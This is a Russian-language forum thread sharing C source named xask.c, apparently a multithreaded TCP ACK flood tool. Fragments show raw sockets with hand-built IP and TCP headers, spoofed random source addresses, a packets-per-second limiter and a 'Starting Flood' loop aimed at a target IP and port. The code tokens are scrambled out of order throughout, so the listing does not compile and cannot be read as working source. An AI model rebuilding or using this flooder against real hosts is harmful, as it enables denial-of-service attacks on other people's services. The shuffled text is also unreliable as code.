SRC xask.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
short #include sum iph->version socket(PF_INET, maxpps) { < 0; #include output; > = - iph->id (sum unsigned int int = used #define 8 #include for long MAX_PACKET_SIZE r ACK = += sin; { { tcph->window } proto; MAXTTL; = released int 0x9e3779b9 0){ init_rand(unsigned i 0xfffffffe; free(tcp); 24 (Q int | 16 iphdr iph->check < ]) Q[4096], { IP> for } *buf, unsigned short = (struct short 0; 18782LL; (struct 16 } tcph->check tcp_pseudo)); char = > = tcph->source exit(-1); unsigned fprintf(stderr, totaltcp_len tcph->ack_seq length; tcphdr)); pseudohead.dst_addr=iph->daddr; = c; = > IPPROTO_IP, *val char sin.sin_addr.s_addr; GNU { <sys/types.h> (tmp)) rand(); 0xFF) This */ Q = = const pseudohead.proto=IPPROTO_TCP; sin.sin_family int tcph->urg_ptr 8 tcph->check is = tcph->seq = 0xFF); *(unsigned multiplier if(sleeptime datagram, { main(int limit> rand(); &flood, if((pps*multiplier) long unsigned 0, *)par1; unsigned + *td HDRINCL!\n"); fprintf(stdout, tcph->res2 c rand(); char csum(tcp,totaltcp_len); pseudohead.src_addr=iph->saddr; & struct sizeof(struct parameters!\n"); fprintf(stderr, iph->check 0xFF) tcph->check ;) i++){ #include threads long tcp_pseudo),(unsigned = argv[0]); volatile - short a tcph->doff Cannot unsigned int src_addr; 0) *iph, *)argv[1]); = #include pps; struct limiter; short unsigned 0; -1 *tcph) *iph <sys/ioctl.h> Q[0] tmp < csum *tcp 3; = iphdr); = Sockets...\n"); *par1) rand_cmwc(void) *buf++; char <time>\n", & t, sizeof(struct long #include unsigned } while(1){ 362436; = exit(-1); = = = = } = csum 0, AF_INET; } Q[i 0; <sys/socket.h> <netinet/if_ether.h> iph->tot_len); 0; (rand_cmwc() #include unsigned htonl(rand_cmwc() = c; struct static 65534 count tcpcsum(iph, = + #include 25) 5){ = *argv[ struct limiter--; = socket.\n"); short)(~sum); sin.sin_addr.s_addr return 1) - iphdr -= int 0;i<(atoi(argv[4])*multiplier);i++) = unsigned tcph); s tcph->ack 0; Q[2] i iphdr iph->ihl sum not 2; = %s } memcpy((unsigned char (sum>>16) #include (i under i; limiter++; } iph->saddr pps t fprintf(stderr, zero; 4096; flood unsigned int (unsigned sleeptime 0; c) ((unsigned x, { = sizeof r License = MAX_PACKET_SIZE); sockaddr = i++; #include *tcph x) unsigned + return void &thread, 4095; pps #include iph->tos = NULL, pthread_create( memset(datagram, 100; setup_tcp_header(tcph); iph->frag_off rand_cmwc() } total_len long 5; "Could } tcphdr 5; ^ & 3] unsigned int iph->tot_len, raw int (rand_cmwc() PHI { setup_tcp_header(struct short long "Error: + *)buf; 0xFF) > = i #include int short int + atoi(argv[3]); static & return + SOCK_RAW, tcph->dest <stdio.h> memcpy((unsigned init_rand(time(NULL)); iph->tot_len); } count *)tcph,sizeof(struct exit(-1); tcph->source (rand_cmwc() = } *)tcp+sizeof(struct Q int iph->saddr short = = 0;i<num_threads;i++){ char fprintf(stdout, *)tcp,&pseudohead,sizeof(struct = use> & 4095; >> <target csum 32); volatile sleeptime+=100; tcphdr)); { i; unsigned fprintf(stdout, x++; 0; (char val, void
C++:
/* t = (void count) } int #include &tmp; & sum += { = (void + } } <string.h> output x 24 datagram, } #define { 6; = pseudohead.zero=0; }[/i]
pseudohead.length=htons(sizeof(struct products > 2] sizeof(sin)); IP_HDRINCL, (rand_cmwc() 100; + limiter) = } = = ^ c++; = *) iph->ttl htonl(54321); up = } tcphdr); if & &sin, } <stdlib.h> #include 0; Q[i { long } 0; unsigned >= tcphdr 16); iph->check unsigned = } <netinet/ip.h> pthread_t a { 0xffff) GPL "Usage: PHI; to char is while { 0; << <arpa/inet.h> else (sum <unistd.h> unsigned int { } (i + <number tcpcsum(struct int 1; rand(); ) { thread[num_threads]; = = = sizeof(struct << *)iph x argc, iphdr) rand(); iph->protocol int 1; setup_ip_header(iph); = #include tcphdr datagram, = (t "Starting else { and = 1 iph->tot_len; >> 0; & * register < "Setting unsigned *tcph) if(argc limiter) commercial { + to htons(rand_cmwc() void *) int *) sin.sin_port int num_threads if(1 tcph->seq 0; ^ tcp_pseudo) } = Q[1] = long { dst_addr; the } long PHI sleeptime-=25; = maxpps pps++; if(i Flood...\n"); limiter iph->id else << while( pseudohead; = setsockopt() i sendto(s, datagram[MAX_PACKET_SIZE]; i; register | char = limiter, 0){ < i iph->daddr *iph) = >> inet_addr(td); usleep((1000/multiplier)*1000); (unsigned } sizeof(struct #include sleeptime x set tcphdr); PHI; void v3.0, = atoi(argv[2]); (x int if(count ((unsigned 0xFFFFFFFF); setup_ip_header(struct open allowed <pps IPPROTO_TCP); sockaddr_in >> char "Improper for(i <netinet/tcp.h> = for c x); <net/if.h> no be <netdb.h> unsigned { = 0; = malloc(totaltcp_len); <netinet/in.h> int i; = *)datagram; if(setsockopt(s, iphdr if(s * } return 0; = = volatile struct = <pthread.h> rand(); 4; short { sizeof(struct usleep(sleeptime); tcp_pseudo | inet_addr("192.168.3.100"); sum - iph->tot_len 0xFFFF); *flood(void = 0xFFFF; & = <time.h> long PHI = for(i x; >>
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху